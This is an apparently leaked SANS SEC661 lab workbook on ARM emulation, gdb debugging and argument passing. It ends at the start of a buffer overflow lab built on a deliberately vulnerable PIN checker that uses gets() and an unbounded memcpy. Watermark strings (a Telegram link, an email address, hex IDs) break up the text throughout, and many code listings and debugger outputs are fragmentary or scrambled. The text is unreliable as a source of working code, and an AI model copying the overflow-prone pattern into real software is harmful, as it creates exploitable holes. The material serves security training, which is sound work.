If any provision of this CLA is declared unenforceable in any jurisdiction, then such provision shall be
Paul Erwin
deemed to be severable from this CLA and shall not affect the remainder thereof. An amendment or
addendum to this CLA may accompany this Courseware.
SANS acknowledges that any and all software and/or tools, graphics, images, tables, charts or graphs
presented in this Courseware are the sole property of their respective trademark/registered/copyright
owners, including:
AirDrop, AirPort, AirPort Time Capsule, Apple, Apple Remote Desktop, Apple TV, App Nap, Back to My
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Mac, Boot Camp, Cocoa, FaceTime, FileVault, Finder, FireWire, FireWire logo, iCal, iChat, iLife, iMac,
iMessage, iPad, iPad Air, iPad Mini, iPhone, iPhoto, iPod, iPod classic, iPod shuffle, iPod nano, iPod touch,
iTunes, iTunes logo, iWork, Keychain, Keynote, Mac, Mac Logo, MacBook, MacBook Air, MacBook Pro,
Macintosh, Mac OS, Mac Pro, Numbers, OS X, Pages, Passbook, Retina, Safari, Siri, Spaces, Spotlight,
There’s an app for that, Time Capsule, Time Machine, Touch ID, Xcode, Xserve, App Store, and iCloud are
registered trademarks of Apple Inc.
live
SOF-ELK® is a registered trademark of Lewes Technology Consulting, LLC. Used with permission.
Governing Law: This Agreement shall be governed by the laws of the State of Maryland, USA.
SEC661_W_G03_01
https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||
09b91222e5d2d3d668cf8e52ec5d35ba
E-Workbook Overview
This electronic workbook contains all lab materials for SANS SEC661. Each lab is designed to address a hands-on
application of concepts covered in the corresponding courseware and help students achieve the learning objectives the
course and lab authors have established.
micede1865@wii999_com
Some of the key features of this electronic workbook include the following:
• Inline drop-down solutions, command lines, and results for easy validation and reference
• Integrated keyword searching across the entire site at the top of each page
• Full-workbook navigation is displayed on the left and per-page navigation is on the right of each page
24356915
• Many images can be clicked to enlarge when necessary
keyboard Tip
Paul Erwin
We recommend performing the update process at the start of the first day of class to ensure you have the latest content.
The electronic workbook site is stored locally in the VM so that it is always available. However, course authors may
update the source content with minor fixes, such as correcting typos or clarifying explanations, or add new content such
as updated bonus labs. You can pull down any available updates into the VM by running the following command in a bash
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
window:
workbook-update.sh
• For the Linux VM, open a Terminal window and run as root with the command workbook-update.sh as shown here:
live
09b91222e5d2d3d668cf8e52ec5d35ba
micede1865@wii999_com
The script will indicate whether there were available updates. If so, be sure to refresh any pages you are currently
viewing (or restart the browser) to make sure you are seeing the latest content.
You can also access the workbook from your host system by connecting to the IP address of your VM. Run ip a in Linux
to get the IP address of your VM. Next, in a browser on your host machine, connect to the URL using that IP address (i.e.
Paul Erwin
http://<%VM-IP-ADDRESS%> ). You should see this main page appear on your host. This method could be especially
helpful when using multiple screens.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
Overview
We are glad you are here and hope that you get a lot out of this training. This section is designed to help you setup your
lab environment. This course will use one primary virtual machine (hammerhead) that runs multiple qemu-based ARM
micede1865@wii999_com
virtual machines within it. Hammerhead runs in vmware and is designed to be a self-contained ARM training environment.
Credentials
All of the virtual machines in this course (except for netgear and dlink) use the following credentials:
• User: nemo
The virtual machine setup is illustrated below. Further details will be provided in the labs.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
micede1865@wii999_com
24356915
IP addresses for virtual machines
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
netgear
dlink
ARMv7 chroot
ARMv7 chroot
192.168.2.21
192.168.2.22
live
Requirements
09b91222e5d2d3d668cf8e52ec5d35ba
• You will need Vmware Workstation or Vmware Fusion to run the hammerhead virtual machine. The free 30-day trial is
sufficient for this course.
• https://www.vmware.com/products/workstation-pro.html
• https://www.vmware.com/products/fusion.html
micede1865@wii999_com
• You will need around 80Gb of free disk space for the hammerhead vm
• You will need 7zip or other compression software that can decompress .7z files
• https://www.7-zip.org/download.html
• You will need administrative access for the host you are running hammerhead on
• Import the hammerhead virtual machine by clicking File/Open, browse to the Hammerhead_XXXX.vmx file in the
extracted folder and click Open
• If you are prompted the first time the virtual machine boots up, select "I copied it" to continue
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Hammerhead vm
The hammerhead virtual machine should be started directly from vmware. All of the other vms will run inside of
hammerhead.
To change the keyboard and language settings, click "Activities" in the upper-left corner, and then type Settings and search
09b91222e5d2d3d668cf8e52ec5d35ba
for "Region & Language". Make changes as needed.
Notice
micede1865@wii999_com
Multiple qemu vms can be ran at once, but it is recommended to only run one at a time.
• Start up the hammerhead vm and login with the credentials provided above
24356915
Paul Erwin
• Change into the directory for the qemu arm vm you want to start (ie cd ~/qemu/mako)
nemo@hammerhead:~$ cd ~/qemu/mako
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
nemo@hammerhead:~/qemu/mako$ sudo ./start_mako.sh
[sudo] password for nemo:
• There will be a lot of activity on the screen after issuing this command and entering the password. You should see
what looks like a normal linux startup ending with a login prompt.
...
• If you get the login prompt, Congratulations! your emulated ARM vm is ready
This can take a while and if you think it has completed, but don't see a login prompt, try hitting enter a few times.
09b91222e5d2d3d668cf8e52ec5d35ba
Connecting to the virtual machines
Using the display in the qemu console can be limiting, so it is recommended to ssh locally into the virtual machines while
doing the lab exercises.
micede1865@wii999_com
• Once you have started up the virtual machine, create another tab in the Terminator console window (ctrl+shift+t).
• From this new tab, ssh into the virtual machine. You can ssh to the name of the vm or its IP address listed above.
nemo@mako:~$ 24356915
The labs and labs64 shared folders
The /home/nemo/labs and /home/nemo/labs64 folders are shared from hammerhead vm to the mako and tiger vms via
NFS and should automatically stay synchronized.
Paul Erwin
For example, when you log into mako, you will see the labs folder in nemo's home directory. Any changes you make to this
folder while logged into mako will be reflected in the labs folder in the hammerhead vm. Also, any changes made in the /
home/nemo/labs folder while in hammerhead will be reflected in the mako vm.
Similarly, the /home/nemo/labs64 folder in hammerhead will be synchronized with the /home/nemo/labs64 folder in the
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
tiger vm.
Static analysis of the ARM binaries using tools like ghidra or radare2 can be done in hammerhead.
Note
There are no graphical editors in the qemu virtual machines. However, if you would like to edit files in the labs or labs64 folders, you
live
can edit them using a graphical editor (like gedit) in the hammerhead vm. Any saved changes will be automatically synched to the
qemu vms. Alternatively, you can use vim and nano which are installed in each of the qemu vms. Nano Cheatsheet
The instructions for starting up the netgear and dlink emulated routers are provided in their associated labs.
09b91222e5d2d3d668cf8e52ec5d35ba
Background
Most of us aren't running ARM natively (yet). Cross-compilers allow us to compile programs for ARM while working in
another architecture such as x86_64. Having a fundamental understanding how programs are built gives researchers an
advantage for understanding bugs in code. Emulators such as qemu allow us to run single binaries or entire operating
systems on non-native architecture.
Objectives
micede1865@wii999_com
• Cross compiling ARM binaries
Paul Erwin
• Boot up the hammerhead virtual machine in vmware and login using the credentials below.
• User: nemo
• Password: nemo
To get a command prompt, open up the Terminator application from the toolbar on the left. It is a small icon with 4
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
squares. Alternatively, you can use the native Terminal application.
Info
Copies of the binaries have been placed in the ~/labs/simple_loop folder so that you can work out of the ~/labs/simple_loop/
src folder and compile new binaries without having to worry about overwriting existing files.
Linux hammerhead 5.8.0-44-generic #50~20.04.1-Ubuntu SMP Wed Feb 10 21:07:30 UTC 2021 x86_64 x86_64
x86_64 GNU/Linux
09b91222e5d2d3d668cf8e52ec5d35ba
This command should confirm that the hammerhead architecture is x86_64.
Ensure you have the ARM cross compiler installed in the hammerhead vm by typing arm-linux and hitting the tab key a
few times, you should see an expanded list of arm-linux-gnueabi-... binaries.
nemo@hammerhead:~$ arm-linux-gnueabi-
micede1865@wii999_com
arm-linux-gnueabi-addr2line
arm-linux-gnueabi-ar
arm-linux-gnueabi-as
arm-linux-gnueabi-gcov-9
arm-linux-gnueabi-gcov-dump
arm-linux-gnueabi-gcov-dump-9
arm-linux-gnueabi-c++filt arm-linux-gnueabi-gcov-tool
arm-linux-gnueabi-cpp arm-linux-gnueabi-gcov-tool-9
arm-linux-gnueabi-cpp-9 arm-linux-gnueabi-gprof
arm-linux-gnueabi-dwp arm-linux-gnueabi-ld
arm-linux-gnueabi-elfedit arm-linux-gnueabi-ld.bfd
arm-linux-gnueabi-gcc
arm-linux-gnueabi-gcc-9
arm-linux-gnueabi-gcc-ar
24356915
arm-linux-gnueabi-ld.gold
arm-linux-gnueabi-nm
arm-linux-gnueabi-objcopy
arm-linux-gnueabi-gcc-ar-9 arm-linux-gnueabi-objdump
arm-linux-gnueabi-gcc-nm arm-linux-gnueabi-ranlib
arm-linux-gnueabi-gcc-nm-9 arm-linux-gnueabi-readelf
arm-linux-gnueabi-gcc-ranlib arm-linux-gnueabi-size
arm-linux-gnueabi-gcc-ranlib-9 arm-linux-gnueabi-strings
arm-linux-gnueabi-gcov
Paul Erwin
arm-linux-gnueabi-strip
Let's start by looking at a basic C program. The source code for simple_loop is shown below. It will run through a basic
"for" loop several times and when it is finished will print the total number of iterations.
nemo@hammerhead:~$ cd labs/simple_loop/src/
nemo@hammerhead:~/labs/simple_loop/src$ ls
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
simple_loop.c
int index;
int max = 10;
live
for(index=0; index<max; index++) {
return 0;
}
09b91222e5d2d3d668cf8e52ec5d35ba
Compile this for the native architecture (x86_64) using the gcc command as shown below. The -o parameter designates
the output file name. We will name the first file with a .x64 extension to differentiate the architecture.
micede1865@wii999_com
The file command displays information about the file type. In the output below, we see that the simple_loop.x64 that
we just compiled is a x86-64 ELF file.
24356915
Since simple_loop.x64 is an x86_64 ELF binary, it should run fine in the hammerhead vm.
nemo@hammerhead:~/labs/simple_loop/src$ ./simple_loop.x64
total: 10
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
nemo@hammerhead:~/labs/simple_loop/src$ ls
simple_loop.arm simple_loop.c simple_loop.x64
Again, we will use an extension (this time ".arm") to designate the type of file we are creating. Check this with the file
command to ensure we created an ARM ELF binary.
live
simple_loop.arm: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked,
interpreter /lib/ld-linux.so.3, BuildID[sha1]=a70a511365761bdfcf5abdd1aa1e52c89dd2d845, for GNU/Linux
3.2.0, not stripped
If we try to run the ARM binary on the x86_64 architecture, we get the following error.
09b91222e5d2d3d668cf8e52ec5d35ba
Note
If the qemu-user-binfmt package is installed, ARM binaries are able to run in the x86_64 vm. This package uses qemu-arm behind
the scenes. This package is installed with qemu-arm but has been removed in the hammerhead vm.
The problem is that simple_loop.arm is dynamically linked and cannot find the ARM version of its dependencies (ie ld-
24356915
linux.so.3) on the x86_64 host that it is running on.
If you get this error, try recompiling the binary with the -static parameter. This will build the ARM binary with all of its
external dependencies combined into a single ELF file, meaning that it will not rely on external shared objects like ld-
linux.so.3.
Paul Erwin
nemo@hammerhead:~/labs/simple_loop/src$ arm-linux-gnueabi-gcc -o simple_loop_static.arm simple_loop.c -
static
nemo@hammerhead:~/labs/simple_loop/src$ ls
simple_loop.arm simple_loop.c simple_loop_static.arm simple_loop.x64
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
nemo@hammerhead:~/labs/simple_loop$ qemu-arm ./simple_loop_static.arm
total: 10
keyboard Tip
If you have the required ARM shared objects on your host, you can use the -L parameter for qemu-arm to specify a search path.
Try qemu-arm --help to see more options. live
In this lab we covered some basics on working with ARM on non-ARM systems. Moving forward we will be using qemu for
09b91222e5d2d3d668cf8e52ec5d35ba
emulating full operating systems. The components required for running and compiling ARM are important and there may
be circumstances where we want to:
• Emulate ARM binaries pulled from IoT devices for dynamic analysis or fuzzing
micede1865@wii999_com
24356915
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
Background
There are lots of ARM assembly instructions and learning them takes time. This lab is designed to get you familiar with
some common instructions by stepping through them one at a time and observing the affects they have on the system. If
you are new to ARM assembly, it may seem overwhelming, but don't be discouraged, you will begin to notice patterns the
more you work with it.
Objectives
micede1865@wii999_com
• Using the gdb debugger with the gef plugin
• Setting breakpoints
Note
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• Login to the hammerhead virtual machine using the credentials below.
• User: nemo
• Password: nemo
• Next, to get a command prompt, open up the Terminator application from the toolbar on the left. It is a small icon
with 4 squares.
live
• While in the terminator window console, navigate to the ~/qemu/mako folder.
• Use the command sudo start_mako.sh to start the mako virtual machine.
nemo@hammerhead:~$ cd qemu/mako
• There will be a lot of activity on the screen after issuing this command. You should see what looks like a normal linux
09b91222e5d2d3d668cf8e52ec5d35ba
startup ending with a login prompt.
...
[ OK ] Started System Logging Service.
[ OK ] Finished Discard unused bl…n filesystems from /etc/fstab.
[ OK ] Finished Availability of block devices.
micede1865@wii999_com
Ubuntu 20.04.2 LTS mako ttyAMA0
mako login:
• The best way to connect to the mako vm is through ssh. Open a new terminal session tab by right clicking in the
Terminator window and click Open Tab or you can use the shortcut keys: ctrl + shift + t . You should be able to
switch between tabs by clicking the names at the top of the Terminator window.
Paul Erwin
If you get to this prompt you have successfully logged into the ARM (emulated) virtual machine. You are now ready to
start the lab.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
While ssh'd into the mako vm, change into the /home/nemo/labs/simple_loop folder.
nemo@mako:~$ cd ~/labs/simple_loop/
live
Using gef in this lab is a matter of preference. If you are familiar with gdb and don't want to use gef, you can disable it by
09b91222e5d2d3d668cf8e52ec5d35ba
commenting out the the gef entry in ~/.gdbinit file with a "#". If you disable gef and just use gdb, your output will look different from
what is in this lab guide.
While editing the file with nano, insert a '#' at the beginning of the line and then hit ctrl-x to exit nano. When prompted to save, hit 'y'.
micede1865@wii999_com
You can then view your changes with the cat command.
24356915
nemo@mako:~/labs/simple_loop$ gdb simple_loop_static.arm
Paul Erwin
Type "show copying" and "show warranty" for details.
This GDB was configured as "arm-linux-gnueabihf".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
87 commands loaded for GDB 9.2 using Python engine 3.8
[*] 5 commands could not be loaded, run `gef missing` to know why.
Reading symbols from simple_loop_static.arm...
(No debugging symbols found in simple_loop_static.arm)
gef➤
live
First, let's change the gef settings so that it displays only registers and code when we hit a breakpoint.
09b91222e5d2d3d668cf8e52ec5d35ba
gef➤ disas main
Dump of assembler code for function main:
0x00010480 <+0>: push {r7, lr}
0x00010482 <+2>: sub sp, #16
0x00010484 <+4>: add r7, sp, #0
0x00010486 <+6>: str r0, [r7, #4]
0x00010488 <+8>: str r1, [r7, #0]
micede1865@wii999_com
0x0001048a <+10>:
0x0001048c <+12>:
0x0001048e <+14>:
movs r3, #10
str r3, [r7, #12]
movs r3, #0
0x00010490 <+16>: str r3, [r7, #8]
...
You should recognize some of the assembly instructions from our class discussion. Here are some examples.
24356915
• sub sp, #16 (subtract 16 from sp and store it back in sp)
• str r0, [r7, #4] (store the value in r0 at the address in r7+4)
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Set a breakpoint with the b command, which is short for break . We use a * to let gdb know that we are setting the
breakpoint on an address and not a name.
Note
On your system, this address may vary, look for the sub instruction near the beginning of the main function.
b *0x00010482
live
Don't forget the asterisk (*).
09b91222e5d2d3d668cf8e52ec5d35ba
Next, start the program with the run command. Execution of the simple_loop_static.arm program will begin and
execution should stop at our breakpoint. If we are using gef, we should see the following output.
gef➤ run
micede1865@wii999_com
$r1 : 0xbefff5e4 → 0xbefff712 → "/home/nemo/labs/simple_loop/simple_loop_static"
$r2 : 0xbefff5ec → 0xbefff741 → "SHELL=/bin/bash"
$r3 : 0x00010481 → <main+1> push {r7, lr}
$r4 : 0xbefff4b8 → 0xaad03bc9
$r5 : 0x0
$r6 : 0x0
$r7 : 0x0
$r8 : 0x0
$r9 : 0x0
$r10 : 0x00074000 → 0x00000000
$r11 : 0x0
24356915
$r12 : 0xbefff520 → 0x00000000
$sp : 0xbefff498 → 0x00000000
$lr : 0x00010649 → <__libc_start_main+397> bl 0x14718 <exit>
$pc : 0x00010482 → <main+2> sub sp, #16
$cpsr: [negative ZERO CARRY overflow interrupt fast THUMB]
──────────────────────────────────────────────────────────────────── code:arm:THUMB ────
0x1047d <frame_dummy+37> b.n
0x1047f <frame_dummy+39> nop
0x10481 <main+1> push
Paul Erwin
0x103fc <register_tm_clones>
{r7, lr}
→ 0x10483 <main+3> sub sp, #16
0x10485 <main+5> add r7, sp, #0
0x10487 <main+7> str r0, [r7, #4]
0x10489 <main+9> str r1, [r7, #0]
0x1048b <main+11> movs r3, #10
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
0x1048d <main+13> str r3, [r7, #12]
────────────────────────────────────────────────────────────────────────────────────────
gef➤
Single stepping
Let's examine some of the instructions by stepping through them one at a time and observing the changes made to the
live
registers. For example, when the first instruction (sub sp, #16) has been executed, we should see 16 subtracted from the
sp register.
gef➤ si
Step through assembly instructions one at a time using the si (step instruction) command. Use this command multiple times and
09b91222e5d2d3d668cf8e52ec5d35ba
see if you can recognize and begin to predict the changes that occur when the instructions are executed.
Examining memory
Restart the program by typing in the run command. We should hit our breakpoint again. This time let's take a look at how
the memory is changing. In gdb, we can examine memory using the x command. Typing help x in gdb will give you a
brief description.
micede1865@wii999_com
With gdb paused at our breakpoint, execute the following command.
• We want to examine memory x/ . The debugger knows that the format will follow the slash.
We see this in the output above. The column on the left shows the memory addresses and the 4 columns to the right are
the 20 words in hexadecimal as we requested.
What if we wanted to see this in single bytes instead of words? We substitute the 'w' for a 'b'. Here we are showing 24
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
bytes starting at the '$sp' register again. Notice the addresses in the left column are different because we are only
showing 8 bytes per line.
live
Run the si instruction a few times until you get to address 0x10487 shown below. You're output may vary, but we are
single stepping to the str r0, [r7, #4] instruction.
────────────────────────────────────────────────────────────────────────────────────────────────
registers ────
$r0 : 0x1
$r1 : 0xbefff5f4 → 0xbefff719 → "/home/nemo/labs/simple_loop/simple_loop_static.arm"
09b91222e5d2d3d668cf8e52ec5d35ba
$r6 : 0x0
$r7 : 0xbefff498 → 0x00010168 → <_init+0> push {r3, lr}
$r8 : 0x0
$r9 : 0x0
$r10 : 0x00074000 → 0x00000000
$r11 : 0x0
$r12 : 0xbefff530 → 0x00000000
$sp : 0xbefff498 → 0x00010168 → <_init+0> push {r3, lr}
$lr : 0x00010649 → <__libc_start_main+397> bl 0x14718 <exit>
micede1865@wii999_com
$pc : 0x00010486 → <main+6> str r0, [r7, #4]
$cpsr: [negative ZERO CARRY overflow interrupt fast THUMB]
───────────────────────────────────────────────────────────────────────────────────────────
code:arm:THUMB ────
0x10481 <main+1> push {r7, lr}
0x10483 <main+3> sub sp, #16
0x10485 <main+5> add r7, sp, #0
→ 0x10487 <main+7> str r0, [r7, #4]
0x10489 <main+9>
0x1048b <main+11>
0x1048d <main+13>
str
movs
str
r3, #10 24356915
r1, [r7, #0]
Paul Erwin
The next instruction str r0, [r7, #4] will store the value held in r0 in the address held by r7+4. Let's check the value
before and after this instruction executes.
Note
In 32-bit systems, addresses are 4 bytes. Each word is 4 bytes. So if we want to see r7+4, we could look at the first 2 words starting
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
at r7.
This shows us the value stored at r7 (0x00010168) and r7+4 (0x00074010). Now if r0 holds 1 and we execute the
instruction str r0, [r7, #4] , we should see r7+4 hold the value 0x00000001.
gef➤ si
live
...
gef➤ x/2wx $r7
0xbefff498: 0x00010168 0x00000001
Step through some more instructions and get comfortable with examining memory using the 'x' command.
09b91222e5d2d3d668cf8e52ec5d35ba
The 'x' command can also be used to view memory as instructions by using the 'i' format specifier.
Note
24356915
We can also use the 'x' command to view strings in memory. Here we view memory as 16 bytes and then view the same
memory as a string.
The address for this string may be different for you, but can be found by looking at the r2 register in the gef output above.
(view as bytes)
(view as a string)
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Try it. (optional)
On the Resources/Cheatsheets page in this workbook, there is a table with some common gdb commands. If you are unfamiliar
with gdb, look through this table and try some of the commands you don't yet know.
Summary live
In this lab we looked at debugging a simple loop program. We used the gef plugin for gdb to display helpful information
(registers, instructions) as we set breakpoints and stepped through some ARM assembly instructions. There are lots of
ARM instructions, and you don't have to memorize them all, but it is helpful to know the common ones.
09b91222e5d2d3d668cf8e52ec5d35ba
micede1865@wii999_com
24356915
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
Background
When looking for bugs or building out an exploit, it is helpful to be able to read the assembly and understand what is going
on. There are times when you may need to follow a code path through multiple functions. This lab demonstrates how
arguments get passed to other functions.
Objectives micede1865@wii999_com
• Debugging sample ARM programs in gdb
Note
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• User: nemo
• Password: nemo
• Next, to get a command prompt, open up the Terminator application from the toolbar on the left. It is a small icon
with 4 squares.
live
• Use the command sudo start_mako.sh to start the mako virtual machine.
09b91222e5d2d3d668cf8e52ec5d35ba
• There will be a lot of activity on the screen after issuing this command. You should see what looks like a normal linux
startup ending with a login prompt.
...
[ OK ] Started System Logging Service.
[ OK ] Finished Discard unused bl…n filesystems from /etc/fstab.
[ OK
micede1865@wii999_com
] Finished Availability of block devices.
mako login:
• The best way to connect to the mako vm is through ssh. Open a new terminal session tab by right clicking in the
Terminator window and click Open Tab or you can use the shortcut keys: ctrl + shift + t . You should be able to
24356915
switch between tabs by clicking the names at the top of the Terminator window.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Review the adder source code
nemo@mako:~$ cd ~/labs/adder
nemo@mako:~/labs/adder$ cat src/adder.c
#include <stdio.h>
09b91222e5d2d3d668cf8e52ec5d35ba
unsigned short result = 0;
if (argv[1]) {
sscanf(argv[1], "%d", &d);
}
result = adder(a,b,c,d);
By default, the 'd' variable is set to 0. However, if a number is supplied as a command line argument, it will be copied into
the d variable and passed along to the adder function.
24356915
Passing arguments to a function
In class we discussed that if there are 4 or fewer arguments, that they get passed into a function in the registers r0-r3. We
want to verify this and see what it looks like in gdb. Start by opening up adder in the debugger and disassemble the main
function.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
0x000104ae <+2>: sub sp, #32
0x000104b0 <+4>: add r7, sp, #0
...
Early in the main function, we see a copy of the sp register value stored in r7. This is done via a add r7, sp, #0
instruction. When working with THUMB instructions, the r7 register is referred to as the frame pointer and is often used
with an offset to access local variables.
Note
live
If we add 0 to sp and store the result in r7, it is similar to "moving" a copy of sp into r7.
09b91222e5d2d3d668cf8e52ec5d35ba
0x000104c6
0x000104c8
0x000104ca
<+26>:
<+28>:
<+30>:
movs
str r3,
movs
r3, #3
[r7, #16]
r3, #5
0x000104cc <+32>: str r3, [r7, #20]
0x000104ce <+34>: movs r3, #7
0x000104d0 <+36>: str r3, [r7, #24]
0x000104d2 <+38>: movs r3, #0
0x000104d4 <+40>: str r3, [r7, #12]
micede1865@wii999_com
The snippet above shows some code from the main function where some static values (#3, #5, #7, and #0) are getting
stored onto the stack by adding an offset to r7. This is done in two steps for each value that gets stored.
• Next, the str (store) instruction stores them in a memory location at r7 + (offsets 16, 20, 24, and 12).
24356915
If we boil down the assembly instructions above, they simply do the following. Remember that r7 holds a copy of the
stack pointer (sp).
• store 3 at r7 + 16
• store 5 at r7 + 20
• store 7 at r7 + 24
• store 0 at r7 + 12
Paul Erwin
0x000104f8 <+76>: ldr r0, [r7, #16]
0x000104fa <+78>: ldr r1, [r7, #20]
0x000104fc <+80>: ldr r2, [r7, #24]
0x000104fe <+82>: ldr r3, [r7, #12]
0x00010500 <+84>: bl 0x10480 <adder>
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
If you scroll further down in main, you will see the output shown above. At address 0x10500, we see a bl 0x10480
<adder> (branch link to adder) instruction. Just before this instruction, we see 4 arguments being stored in r0-r3. This is
taking the values that we saw stored on the stack previously (3,5,7,0) and storing them into registers r0-r3. Then the adder
function is called as follows.
adder(r0=3,r1=5,r2=7,r3=0)
live
Let's set a breakpoint in the debugger and verify this. Break on the instruction that calls adder.
(gdb) b * 0x10500
Breakpoint 1 at 0x10500
(gdb) run
Starting program: /home/nemo/labs/adder/adder
09b91222e5d2d3d668cf8e52ec5d35ba
Breakpoint 1, 0x00010500 in main ()
(gdb)
Once we hit the breakpoint, run the info reg command to display the registers.
Since we are still in the main function, we should be able to see the local variables a,b,c,d as well.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
0xbefff4c4:
(gdb) x/1wx
0xbefff4d0:
0x00000000
$sp+24
0x00000007
(gdb) x/1wx $sp+20
0xbefff4cc: 0x00000005
(gdb) x/1wx $sp+16
0xbefff4c8: 0x00000003
live
The x/1wx $sp+12 command tells gdb to examine (x) 1 word (w) in hexadecimal (x) format starting at the stack pointer
($sp) register + 12. We continue to observe the other offsets where we saw the static values being stored previously.
Looking at the registers above confirms that r7 and sp hold the same value. We could have also observed $r7+offset to see the
09b91222e5d2d3d668cf8e52ec5d35ba
same values.
micede1865@wii999_com
nemo@mako:~/labs/adder$ ls src
adder.c adder_lots.c
The adder_lots program is similar to the adder program, but it passes 9 arguments to the adder function instead of 4.
The diff tool in linux can be used to compare the two .c files and show the differences in the source code.
... 24356915
< result = adder(a,b,c,d);
> result = adder(a,b,c,d,e,f,g,h,i);
In gdb, let's examine the arguments for the call to the adder function in the adder_lots program. Open adder_lots in gdb
and disassemble the main function.
Note
Paul Erwin
Addresses will be different than those previously seen in the adder program.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
nemo@mako:~/labs/adder$ gdb ./adder_lots
...
09b91222e5d2d3d668cf8e52ec5d35ba
Skipping down in main, we come to the assembly code in the snippet above that is setting up the call to the adder
function. Let's break this down into two parts.
Part 1:
24356915
In the first part, we see r7 being used again as a base address. Values are pulled from an offset of r7 and stored in r3.
They are then copied into an offset of sp.
The r3 register is continually reused for loading the value from r7+ and then storing the values it just retrieved to sp+.
• sp+8
• sp+12
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• sp+16
This sequence of instructions is setting up the 5 th-9 th argumemts to be passed to the adder function on the stack.
Next, let's see how arguments 1-4 get passed in r0-r3 by taking a look at the second part of these instructions that occur
just before the adder function is called.
Part 2:
Finally, the adder function is called. Nine arguments are passed to this function, 4 in registers r0-r3 and 5 additional
09b91222e5d2d3d668cf8e52ec5d35ba
arguments are passed on the stack.
Summary
In this lab we observed how arguments are passed to a function in ARM. If there are 4 or less arguments, they are passed
in registers r0-r3. If there are more than 4, the first 4 get passed in r0-r3, and any additional parameters are passed on the
micede1865@wii999_com
stack. It is also worth noting that many functions you come across do not take any arguments.
24356915
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
Background
Buffer overflows are a classic form of memory corruption. Attackers can gain control of entire systems by leveraging
these types of vulnerabilities. In this lab we will write a buffer overflow exploit that allows us to overwrite a saved return
address (Link Register) and gain control of execution.
Objectives micede1865@wii999_com
• Observing memory corruption in a debugger
• Locating the stored link register on the stack and watching it get overwritten
Lab Preparation
24356915
Note
• User: nemo
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• Password: nemo
• Next, to get a command prompt, open up the Terminator application from the toolbar on the left. It is a small icon
with 4 squares.
• Use the command sudo start_mako.sh to start the mako virtual machine.
• There will be a lot of activity on the screen after issuing this command. You should see what looks like a normal linux
09b91222e5d2d3d668cf8e52ec5d35ba
startup ending with a login prompt.
...
[ OK ] Started System Logging Service.
[ OK ] Finished Discard unused bl…n filesystems from /etc/fstab.
[ OK ] Finished Availability of block devices.
micede1865@wii999_com
Ubuntu 20.04.2 LTS mako ttyAMA0
mako login:
• The best way to connect to the mako vm is through ssh. Open a new terminal session tab by right clicking in the
Terminator window and click Open Tab or you can use the shortcut keys: ctrl + shift + t . You should be able to
switch between tabs by clicking the names at the top of the Terminator window.
Paul Erwin
If you get to this prompt you have successfully logged into the ARM (emulated) virtual machine. You are now ready to
start the lab.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
The verify_pin program takes input either as a command line argument or if no input is given, it will prompt the user to
enter a pin. In either case, the input is compared to the constant "8675309". If the input matches this string, there will be a
message stating that the door has been unlocked.
nemo@mako:~$ cd labs/verify_pin/src
nemo@mako:~/labs/verify_pin/src$ cat verify_pin.c
#include <stdio.h>
live
#include <stdbool.h>
#include <string.h>
#include <stdlib.h>
char pin_buffer[20];
09b91222e5d2d3d668cf8e52ec5d35ba
if (!pin) {
printf("\nPlease enter enter a pin: ");
gets(pin_buffer);
}
else {
memcpy(pin_buffer, pin, strlen(pin));
pin_buffer[strlen(pin)]='\x00';
}
micede1865@wii999_com
printf("\nYou entered: %s\n", pin_buffer);
if (strcmp(pin_buffer, KEY) == 0)
return false;
else
return true;
}
is_locked = verify_pin(argv[1]);
if(is_locked) {
}
else {
Paul Erwin
printf("The door is locked. Try again\n\n");
printf("Door unlocked!!!\n\n");
exit(0);
}
}
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Debugging verify_pin
Change to the /home/nemo/labs/verify_pin folder and open the verify_pin binary in gdb.
live
Using gef in this lab is a matter of preference. If you are familiar with gdb and don't want to use gef, you can disable it by
09b91222e5d2d3d668cf8e52ec5d35ba
commenting out the the gef entry in ~/.gdbinit file with a "#".
